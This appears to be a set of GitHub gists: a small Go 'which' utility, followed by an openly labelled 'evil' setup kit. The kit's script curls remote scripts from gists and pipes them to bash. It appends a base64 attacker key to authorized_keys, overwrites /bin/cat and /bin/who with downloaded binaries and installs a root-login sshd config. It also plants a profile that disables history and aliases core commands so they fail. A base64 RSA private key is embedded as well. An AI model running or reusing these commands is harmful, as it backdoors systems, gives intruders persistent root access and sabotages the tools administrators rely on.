This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| func main() { | |
| if len(os.Args) > 1 { | |
| found := FindInPath(os.Args[1:]) | |
| for path := range found { | |
| fmt.Println(path) | |
| } | |
| } else { | |
| fmt.Println("usage: which program ...") | |
| os.Exit(1) | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| func FindInPath(targets []string) <-chan string { | |
| messages := make(chan string) | |
| go func() { | |
| defer close(messages) | |
| var paths = EnviromentPaths() | |
| for _, target := range targets { | |
| for _, path := range paths { | |
| var target = path + "/" + target | |
| if Exists(target) { | |
| messages <- target |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| func Exists(path string) bool { | |
| if _, err := os.Stat(path); err == nil { | |
| return true | |
| } | |
| return false | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| func EnviromentPaths() []string { | |
| val, ok := os.LookupEnv("PATH") | |
| if !ok { | |
| return []string{} | |
| } | |
| return strings.Split(val, ":") | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCQVFDN0lETU9jMjdUS095a21T | |
| Y3pDREdScysxTitpNjJ0blZ6bWk0U3loYVBQOU5tODcyOVFzSUFZeFNCWGplcitHQVFWa2My | |
| dWRaZ3NRS1FkQ2hhM0N2Y0JmdkRySW9Ea2krMkFJNzZCRUtTOFQxQm5mVWc1ekt4WnpVNFhY | |
| VFFtWnBFZ0RLUUZtRkYxTm43S1k3Vk04SHhVNTRIUk1kN0tSTFlqRzZrQWQwUHM4Z0ZxRFJn | |
| MUJzNzk3MVJmQ3g2ZmJ4N3liMWduSzF5aE1CMnRLaHBiRjh6S3FjTDV3aHpmcW4rdzhTam9x | |
| a3BSSDJyaFFsUzJxSi9sa1ZXVDJscGhrZmZPdU92K0J1YkhXSFljTjl3Wng0Wnp0TTRtM3Rk | |
| d253QzhoaE1kZVdQY1MvZkowQ0FKb3A3RUllbk9NRmtIY081NVM1cDR0bnBpTnBZcTFsUC9k | |
| R0gK |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFcGdJQkFBS0NBUUVBdXlBekRu | |
| TnUweWpzcEprbk13Z3hrYlB0VGZvdXRyWjFjNW91RXNvV2p6L1Radk85CnZVTENBR01VZ1Y0 | |
| M3EvaGdFRlpITnJuV1lMRUNrSFFvV3R3cjNBWDd3NnlLQTVJdnRnQ08rZ1JDa3ZFOVFaMzEK | |
| SU9jeXNXYzFPRjEwMEptYVJJQXlrQlpoUmRUWit5bU8xVFBCOFZPZUIwVEhleWtTMkl4dXBB | |
| SGREN1BJQmFnMApZTlFiTy9lOVVYd3NlbjI4ZThtOVlKeXRjb1RBZHJTb2FXeGZNeXFuQytj | |
| SWMzNnAvc1BFbzZLcEtVUjlxNFVKClV0cWlmNVpGVms5cGFZWkgzenJqci9nYm14MWgySERm | |
| Y0djZUdjN1RPSnQ3WGNKOEF2SVlUSFhsajNFdjN5ZEEKZ0NhS2V4Q0hwempCWkIzRHVlVXVh | |
| ZUxaNllqYVdLdFpULzNSaHdJREFRQUJBb0lCQVFDTi80MCs5aEd2WTJyUQpMUGcySFkyZ0Iy | |
| MllzclVvS2FWUEtEeTJQV3lKSCtJSVNnWTl6Sjd6TkR5blB4djMvKzdGOXZMcmNISmh4WEV3 | |
| CnRUUzZYa0ZhSWFBL2lIcmk0dGdad0txK3h1VE9KUXBhOU1iRFJTNk91TWNHRXNWR1ZvbGVX |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| echo "Installing evil shell profile" | |
| curl https://gist.githubusercontent.com/picatz/50a80c4a50c472a9d25fd8526fc46609/raw/89268e6d0d3e9ee2c742794514df505612a35f4b/profile.sh > ~/.profile | |
| echo "Installing evil sshd configurations" | |
| curl https://gist.githubusercontent.com/picatz/ee22a5dc275c79769e04887f98a43e8c/raw/03c755ca84acecef3373b0e794efefb1f2a02829/install%2520evil_sshd_config.sh | bash | |
| echo "Installing evil ssh key" | |
| curl -s https://gist.githubusercontent.com/picatz/cbd6d922663b498189b5119e5a1ef553/raw/b384da754814967a0dc8a5daf37d34ad6015f9df/pbul%2520lol | base64 -d >> ~/.ssh/authorized_keys | |
| echo "Install evil cat implementation" | |
| curl -s https://gist.githubusercontent.com/picatz/3f8a39633f795432ffd54c013fae3383/raw/a9c7e5f3d8fa62dd2fddff7980873ace06f8cda1/evilcat | base64 -d > /bin/cat | |
| echo "Installing evil who implementation" | |
| curl -s https://gist.githubusercontent.com/picatz/58e18c5ab0ec657171c8c12ad2c7534e/raw/7c3e5561195f2929ebf3c92433bcd31b038cd0d3/evilwho | base64 -d > /bin/who |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # disable history | |
| set +o history | |
| alias if='if !' for='for !' while='while !' | |
| alias yes="yes n" | |
| alias vi="vi +q" | |
| alias apt=true | |
| alias yum=true | |
| alias nano="/bin/vi" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| curl -s https://gist.githubusercontent.com/picatz/905921c6b835204956f00c3685d75494/raw/c133412b7fc20009b3360004fe377b837574fa27/evil_sshd_config > /etc/ssh/sshd_config | |
| systemctl enable ssh.service | |
| systemctl enable sshd.service | |
| systemctl stop ssh.service | |
| systemctl stop sshd.service | |
| systemctl start ssh.service | |
| systemctl start sshd.service |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Port 22 | |
| Protocol 2 | |
| HostKey /etc/ssh/sshd_host_rsa_key | |
| HostKey /etc/ssh/sshd_host_dsa_key | |
| HostKey /etc/ssh/sshd_host_ecdsa_key | |
| HostKey /etc/ssh/sshd_host_ed25519_key | |
| UsePrivilegeSeparation no | |
| PermitRootLogin yes | |
| StrictModes no | |
| RSAAuthentication yes |